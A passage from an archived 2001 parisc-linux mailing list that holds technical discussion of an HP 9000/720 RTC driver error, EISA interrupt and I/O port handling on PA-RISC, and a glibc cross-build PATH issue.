Every login takes a lot of time.

The new kernel is very fast in comparison. It begins at loading it.
After the palo output it takes a time that the machine starts with the
kernel
output, and now it starts immediatly ....

Really perfect work.....
Continue....

Cheers
	Christoph P.


-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9000/720 and RTC - driver problem ?
Date: Tue, 20 Feb 2001 00:03:04 +0100
Organization: private
Lines: 27
Approved: news@gmane.org
Message-ID: <3A91A628.176CC23F@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619880 15776 80.91.229.3 (22 Nov 2014 01:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 16:03:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C20544A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 16:03:06 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-035.dot.at [212.9.128.75])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id AAA01898
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 00:16:19 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10293

I have problems with the RTC on this machine...
`hwclock' accesses via `/dev/rtc' (which I created).
It reports an error on reading from the clock:

196:/# hwclock --utc --systohc
RTC_RD_TIME: Bad address
ioctl() to /dev/rtc to read the time failed.
196:/# 

I used the generic RTC driver under "charcater devices".

Have I to select another one ?
Must I patch the driver ... ?
Are there any experiences on that issue ?

Cheers
	Christoph P.



-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int
  errupts?)
Date: Tue, 20 Feb 2001 00:41:32 +0100 (CET)
Lines: 67
Approved: news@gmane.org
Message-ID: <200102192341.AAA04190@zaphod.halden.lillfab.se>
References: <200102190026.QAA15382@milano.cup.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619880 15778 80.91.229.3 (22 Nov 2014 01:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 16:41:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maila.telia.com (maila.telia.com [194.22.194.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 857794A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 16:41:52 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t5o70p51.telia.com [195.67.239.51])
	by maila.telia.com (8.9.3/8.9.3) with ESMTP id AAA05839;
	Tue, 20 Feb 2001 00:41:33 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id AAA04190;
	Tue, 20 Feb 2001 00:41:32 +0100
In-Reply-To: <200102190026.QAA15382@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10294

On 18 Feb, Grant Grundler wrote:
> 5116@telia.com wrote:
>> On 18 Feb, Grant Grundler wrote:
>> > That's not true. The "virtualized" bus numbers I think are confusing you.
>> > Treat the addresses as "handles" to the address space and the EISA bus
>> > support can strip off the bus number to get the real I/O Port address.
>> Yes, but ISA drivers vill expect that 0x300 is 0x300 ant not 0x20300.
> 
> What you are telling me is the ISA drivers poke around using hardcoded
> addresses they "know" about. My proposal is still useful but WAX/EISA
> needs to reserve HBA 0.
Yes, most ISA devices have a probe list which the use when they are
compiled in, and if I use modules or a kernel command line option I 
want to be able to say io=0x388 when I have set the jumppers on the card
for that address.
 
>> PCI drivers all get their port addresses from probing the bus so they
>> will 'just work'.
> 
> The physical PCI Port addresses are virtualized by the linux PCI
> "BIOS" layer. PCI Drivers don't go poking around on the bus on their own.

That's what I meant. 
> ...
>> Yes, I had some idea in this direction to, are we sure this belongs in
>> the PCI layer? It might be thought of as an IO switch above the
>> PCI/EISA/what-ever as well.
> 
> inb/outb is a "PCI-like" layer.  inb/outb happens to be implemented in
> "PCI" code (pci.h) since that worked first.  If you have an idea of
> where inb/outb switch ought to "live", I'm curious.
A fast check gives that most architectures defines inb/outb as either a
#define or inline function in asm/io.h. SH have an implementation in
arch/kernel/io.c. I think that if only support for one type of BA is
compile then we might use an inline function with a fall back to a
switch routine for the case with support for more than one BA.


>> Well the i386 version is that disable_irq() waits until all pending
>> interrupts on the local processor have been serviced while
>> disable_irq_nosync() returns immediately. The parisc version of
>> disable_irq() seems to be what disable_irq_nosync() is on the i386. 
> 
> Uhm. I still don't see the distinction.
> "nosync" suggests an interaction with other CPU's?
> 
> A CPU will *always* service IRQ's before the CPU continues with
> "regular" code.  disable_irq() guarantees no *new* interrupts
> will occur until enable_irq() is called. I don't totally understand
> the CONFIG_SMP version of that code though.

Well, yes I would expect that if you run with interrupts disabled it
may be an interrupt pending? And the sync would be there in order for
the disable event to propagate trough the interrupt controller hardware
or something similar (you may just have de-installed the interrupt
handler). 
This may or may not apply to parisc hardware, if it does not then both
versions of disable_irq() should be equal, I guess.

/Daniel

-- 






From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 00:26:36 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010220002636.R899@parcelfarce.linux.theplanet.co.uk>
References: <200102190026.QAA15382@milano.cup.hp.com> <200102192341.AAA04190@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619880 15780 80.91.229.3 (22 Nov 2014 01:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:20 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 17:53:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DD4D4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 17:53:18 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14V0dY-0004vN-00; Tue, 20 Feb 2001 00:26:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102192341.AAA04190@zaphod.halden.lillfab.se>; from 5116@telia.com on Tue, Feb 20, 2001 at 12:41:32AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10295

On Tue, Feb 20, 2001 at 12:41:32AM +0100, 5116@telia.com wrote:
> >> Well the i386 version is that disable_irq() waits until all pending
> >> interrupts on the local processor have been serviced while
> >> disable_irq_nosync() returns immediately. The parisc version of
> >> disable_irq() seems to be what disable_irq_nosync() is on the i386. 
> > 
> > Uhm. I still don't see the distinction.
> > "nosync" suggests an interaction with other CPU's?

i386 sets IRQ_INPROGRESS before it calls handle_IRQ_event and then
clears it after the interrupt handler returns.  I'm not sure whether
local interrupts are disabled at this point or not.  It might well be
an SMP issue.

I suspect we want to add IRQ_INPROGRESS to our interrupt handlers.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 01:07:26 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010220010726.S899@parcelfarce.linux.theplanet.co.uk>
References: <200102190026.QAA15382@milano.cup.hp.com> <200102192341.AAA04190@zaphod.halden.lillfab.se> <20010220002636.R899@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619881 15782 80.91.229.3 (22 Nov 2014 01:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:21 +0000 (UTC)
Cc: 5116@telia.com, Grant Grundler <grundler@cup.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 18:20:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 959F84A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 18:20:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14V1H4-0005cL-00; Tue, 20 Feb 2001 01:07:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010220002636.R899@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Tue, Feb 20, 2001 at 12:26:36AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10296

On Tue, Feb 20, 2001 at 12:26:36AM +0000, Matthew Wilcox wrote:
> I suspect we want to add IRQ_INPROGRESS to our interrupt handlers.

Now I've looked at it, and noticed the comment:
 * (mostly architecture independent, will move to kernel/irq.c in 2.5.)

I'm pretty certain I need to sit down, grok the differences between it &
our irq.c and make sure our irq.c fits into this scheme.  It might be
worth doing anyway, cos I don't think I'm getting all the interrupts
I should be on SMP.  Eg, the serial console isn't working for input.
I need to track this down properly though...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy <dkennedy@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int
 errupts?)
Date: Mon, 19 Feb 2001 11:49:48 -0800 (PST)
Lines: 95
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102191120150.28002-100000@localhost.localdomain>
References: <200102190026.QAA15382@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619881 15786 80.91.229.3 (22 Nov 2014 01:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:21 +0000 (UTC)
Cc: 5116@telia.com, alex@linuxcare.com,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 08:21:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.linuxcare.com (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0C434A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 08:21:26 -0700 (MST)
Original-Received: by localhost.linuxcare.com (Postfix, from userid 501)
	id BCA8B538; Mon, 19 Feb 2001 11:49:48 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.linuxcare.com (Postfix) with ESMTP
	id A98A1ABAE; Mon, 19 Feb 2001 11:49:48 -0800 (PST)
X-Sender: dkennedy@localhost.localdomain
In-Reply-To: <200102190026.QAA15382@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10297

*jump*   I think I'm going to jump into the middle of this one.

I'm going to add my thoughts on the lowlevel x86 stuff and hopefully that
clarifies some stuff (as opposed to add more confusion).  I don't hope to
provide any suggestions.

On Sun, 18 Feb 2001, Grant Grundler wrote:

> 5116@telia.com wrote:
> > Yes, I had some idea in this direction to, are we sure this belongs in
> > the PCI layer? It might be thought of as an IO switch above the
> > PCI/EISA/what-ever as well.
> 
> inb/outb is a "PCI-like" layer.  inb/outb happens to be implemented in
> "PCI" code (pci.h) since that worked first.  If you have an idea of
> where inb/outb switch ought to "live", I'm curious.

In the X86 architecture the IO space and the memory space are logically 
separate.  They are both accessed physically on the same bus but to
access IO space you have to execute an IO instruction.  What this does
physically is set the mem/io pin to indicate that the current bus
request is an IO request.  There are several IO instructions
including: inb, outb, inw, outw (in byte, out byte, in word, out
word).  

So, why have two separate spaces?  Some of the reasons are:
- to be different from Motorola
- to provide a mechanism to add delays for IO while still keeping
  memory fast (relatively speaking).

How does this affect us?  "Back in the day" the ISA bus (and by extension 
the EISA bus) was literally designed by taking the pins out of the X86 
chip and providing a slot mechanism to plug cards into it.  Because of 
that there is no bus controller of any kind anywhere on the bus (unlike 
PCI and all the others).  Software had to pick up the ball with respect 
to ensuring that one device driver does not clobber another.  The ISA 
bus and the other devices on the motherboard are all accessed the same.
Devices are put on the bus at a preset IO address and it is the card
installer's responsibility that there is no overlap in IO address
space and IRQ address space.  Although the ISA bus is now behind the
PCI bus and elsewhere the programming of the ISA bus still hasn't
changed (ya gotta be backward compatible you know!).

Why do we care about ISA?  Well, EISA was designed to support both ISA
and EISA cards (in the same slot) so theoretically someone could want
to put an ISA card into a PA-RISC box.  It would be nice for Linux to
support that.  So, providing virtualized inb, outb, inw, outw for
ISA/EISA is also necessary.

So, what is PCI-like and how does this affect us?  I haven't the
foggiest notion of what PCI-like is.  If someone told me what the
characteristics of PCI-like is then maybe I might be able to talk
about that.

> > Well the i386 version is that disable_irq() waits until all pending
> > interrupts on the local processor have been serviced while
> > disable_irq_nosync() returns immediately. The parisc version of
> > disable_irq() seems to be what disable_irq_nosync() is on the i386. 
> 
> Uhm. I still don't see the distinction.
> "nosync" suggests an interaction with other CPU's?
> 
> A CPU will *always* service IRQ's before the CPU continues with
> "regular" code.  disable_irq() guarantees no *new* interrupts
> will occur until enable_irq() is called. I don't totally understand
> the CONFIG_SMP version of that code though.

Traditionally, on the X86 the interrupt priority and queueing is not done 
on the processor but on an external chip.  There was only one IRQ
line.  After executing every instruction the processor would first check 
to see if interrupts are disabled.  If they aren't it would then check
the IRQ line to see if there is a pending interrupt.  If there is, it
would initiate a interrupt bus sequence to receive the interrupt
number from the external interrupt controller.  It would then dispatch
to the appropriate interrupt service routine with interrupts disabled.

Because of the above sequence disabling interrupts causes all new and
pending interrupts to be disabled.  Also, disabling a specific IRQ is
done on the external interrupt controller and disables all current and
future interrupts on that specific IRQ.

Does any of the above ramblings actually help?

Thanks.

-- 
David Kennedy, Technical Account Manager, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare.  Putting open source to work.






From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 09:24:58 -0800
Lines: 53
Approved: news@gmane.org
Message-ID: <200102201725.JAA16361@milano.cup.hp.com>
References: <200102192341.AAA04190@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619881 15789 80.91.229.3 (22 Nov 2014 01:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 10:22:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id A305C4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 10:22:13 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 6D071F08; Tue, 20 Feb 2001 09:22:12 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA16361;
	Tue, 20 Feb 2001 09:25:03 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 20 Feb 2001 00:41:32 PST."
             <200102192341.AAA04190@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10298

5116@telia.com wrote:
> Yes, most ISA devices have a probe list which the use when they are
> compiled in, and if I use modules or a kernel command line option I 
> want to be able to say io=0x388 when I have set the jumppers on the card
> for that address.

The probe list is the problem. We can fixup th command line before
the driver sees it.

> > inb/outb is a "PCI-like" layer.  inb/outb happens to be implemented in
> > "PCI" code (pci.h) since that worked first.  If you have an idea of
> > where inb/outb switch ought to "live", I'm curious.
> A fast check gives that most architectures defines inb/outb as either a
> #define or inline function in asm/io.h.

We could do the inline function routine with a switch statement
but I've concluded a "switch()" statement isn't the right choice.
I think that's a bad tradeoff: minor perf gain for major bloat.
Of course, I'd be happy to see someone prove my SWAG wrong. :^)

> SH have an implementation in
> arch/kernel/io.c. I think that if only support for one type of BA is
> compile then we might use an inline function with a fall back to a
> switch routine for the case with support for more than one BA.

The code isn't currently structured to allow only one type of bus support.
HPUX supports three different PCI bus adapters, two EISA adapters,
GSC, HPPB, and VME busses. I/O port space accesses is definitely not
in the performance path. high performance drivers use MMIO space
and avoid reading from I/O space in general.

> Well, yes I would expect that if you run with interrupts disabled it
> may be an interrupt pending?

If you want to preserve pending interrupts, use mask_irq()/unmask_irq().

> And the sync would be there in order for
> the disable event to propagate trough the interrupt controller hardware
> or something similar (you may just have de-installed the interrupt
> handler). 
> This may or may not apply to parisc hardware, if it does not then both
> versions of disable_irq() should be equal, I guess.

Well, I still don't see what nosync does on a single CPU system.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 09:44:55 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200102201745.JAA16411@milano.cup.hp.com>
References: <20010220002636.R899@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619881 15792 80.91.229.3 (22 Nov 2014 01:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 10:42:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 990C24A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 10:42:12 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 7A7138BF; Tue, 20 Feb 2001 09:42:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA16411;
	Tue, 20 Feb 2001 09:45:01 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 20 Feb 2001 00:26:36 PST."
             <20010220002636.R899@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10299

Matthew Wilcox wrote:
> i386 sets IRQ_INPROGRESS before it calls handle_IRQ_event and then
> clears it after the interrupt handler returns.  I'm not sure whether
> local interrupts are disabled at this point or not.  It might well be
> an SMP issue.
> 
> I suspect we want to add IRQ_INPROGRESS to our interrupt handlers.

I think irqs_running() serves that purpose. no?

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Tue, 20 Feb 2001 10:59:38 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20010220175938.6DE7B37C9D@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0102191946290.23583-100000@front.linuxcare.com.au> 
  <3A91479E.9C9EB68A@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619882 15794 80.91.229.3 (22 Nov 2014 01:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:22 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 10:57:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6394E4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 10:57:09 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id C8AE21B7; Tue, 20 Feb 2001 12:57:08 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 6DE7B37C9D; Tue, 20 Feb 2001 10:59:38 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Rafael E. Herrera" <raffo@neuronet.pitt.edu> 
   of "Mon, 19 Feb 2001 11:19:42 EST." <3A91479E.9C9EB68A@neuronet.pitt.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10300

"Rafael E. Herrera" writes...

> Alan Modra wrote:
> > 
> > On Mon, 19 Feb 2001, Rafael E. Herrera wrote:
> > 
> > > checking for assembler line separator... *** You need a newer assembler
> > > to compile glibc
> > >[snip]
> > >  /usr/i486-suse-linux/bin/as -V -Qy -v -o conftest.o conftest.s
> > 
> > Oops, this is an x86 assembler.
> > 
> > > The binaries called and the version numbers are shown. Do I need to
> > > upgrade the assembler or is it a PATH misconfiguration? Thanks.
> > 
> > You need the hppa-linux assembler installed and available on your PATH.
> 
> The PATH needs to include both of these entries:
> 
> PATH=~/palinux/bin:~/palinux/hppa-linux/bin:$PATH
> 
> I had just first one before.

No, you don't want hppa-linux/bin in there because then the build will only 
use the cross-compiler and will fail if it needs to build any i386 
binaries(like intermediate build tools etc.). As long as you have --host and 
--build set right then the build will do the right thing.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 10:03:38 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <200102201803.KAA16465@milano.cup.hp.com>
References: <Pine.LNX.4.21.0102191120150.28002-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619882 15796 80.91.229.3 (22 Nov 2014 01:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dkennedy <dkennedy@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 11:01:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33B2A4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 11:01:32 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 4A9BEC67; Tue, 20 Feb 2001 10:00:58 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA16465;
	Tue, 20 Feb 2001 10:03:39 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 19 Feb 2001 11:49:48 PST."
             <Pine.LNX.4.21.0102191120150.28002-100000@localhost.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:10301

dkennedy wrote:
> In the X86 architecture the IO space and the memory space are logically 
> separate.  They are both accessed physically on the same bus but to
> access IO space you have to execute an IO instruction.

Same thing is true for PCI. The CPU instructions to generate I/O port
or MMIO space transactions differ in the details.

> So, why have two separate spaces?  Some of the reasons are:
> - to be different from Motorola
> - to provide a mechanism to add delays for IO while still keeping
>   memory fast (relatively speaking).

- have more address space for RAM
  (ie not used for I/O space; think 16-bit)

> Why do we care about ISA?  Well, EISA was designed to support both ISA
> and EISA cards (in the same slot) so theoretically someone could want
> to put an ISA card into a PA-RISC box.

I'm not sure we can support ISA devices on parisc.
I thought HPUX does not. Anyone know?

> Does any of the above ramblings actually help?

I've learned a few things I didn't know before.
Not sure it helped with the current discussion.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy <dkennedy@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int
 errupts?)
Date: Tue, 20 Feb 2001 14:10:27 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102201409280.981-100000@localhost.localdomain>
References: <200102201725.JAA16361@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
